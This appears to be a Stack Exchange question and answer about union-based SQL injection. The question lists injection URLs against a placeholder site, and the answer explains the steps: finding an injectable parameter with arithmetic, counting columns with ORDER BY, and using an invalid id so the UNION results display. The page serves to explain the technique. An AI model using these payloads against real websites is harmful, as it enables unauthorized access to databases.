-1

When we try for inject a website for find vulnerable column then sometimes we need to give a wrong value in the website parameter. Like

www.vhul-web.com/index.php?id=1 union select 1,2,3 -- -

Now the vulnerable column not showing.

www.vhul-web.com/index.php?id=-1 union select 1,2,3 -- -

or

www.vhul-web.com/index.php?id=.1 union select 1,2,3 -- -

or

www.vhul-web.com/index.php?id=1 having 0 union select 1,2,3 -- -

or

www.vhul-web.com/index.php?id=1 div 0 union select 1,2,3 -- -

Then the vulnerable columns show. Why it showing after false the parameter ? What is the back end logic about this ?

  • What tool are you using? and which version of mysql? – Purefan Feb 4 '16 at 9:09
  • Mysql version>5 and i am not using any tools. I just want to know logic behind show vulnerable column of a database – MD Sijad Faisal Feb 4 '16 at 11:56
  • which program tells you that the column is vulnerable? – Purefan Feb 4 '16 at 13:02
  • I can't understand your question. But i think you ask the name of server site language. Assume that was PHP. – MD Sijad Faisal Feb 4 '16 at 13:04
  • You said Then the vulnerable columns show, how do you know they are vulnerable?, and show where? – Purefan Feb 4 '16 at 13:38
0

I am not sure to understand what you are calling vulnerable column. But I'll try to answer your question.

First of all, in order to locate such SQL injection, the easiest way is to inject mathematical operations, for instance:

www.vhul-web.com/index.php?id=1

Displays result 1

www.vhul-web.com/index.php?id=2

Displays result 2

www.vhul-web.com/index.php?id=2-1

Displays result 1

In that case, we can deduct that the mathematical operation has probably been evaluated, this means that the application is likely to be vulnerable.

Second step you have to determine the number of columns that are selected in the genuine query. I do this using ORDER BY with different values:

www.vhul-web.com/index.php?id=1 ORDER BY 4--

We can see nothing in the worst case or an error page in the best case, this means that there are less than 4 columns

www.vhul-web.com/index.php?id=1 ORDER BY 3--

If we can see the expected result (the same data than without the ORDER BY 3 injected statement), this means that there are at least 3 columns. Meaning exactly 3 in this example because we also have less than 4 columns.

Now you want to display the results of your UNION injection. The main reason why you need to put a non-existing id in the query is that in such queries, developer often expect only one result from the SQL query. Indeed, id, is quite often associated with table Primary Key.

When you inject an UNION query, you add a second row to the results that is not expected, so it is likely ignored by the back-end script, so not displayed.

By querying an invalid id with an UNION statement, the script should only have 1 result from the DB, resulting of the UNION query.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.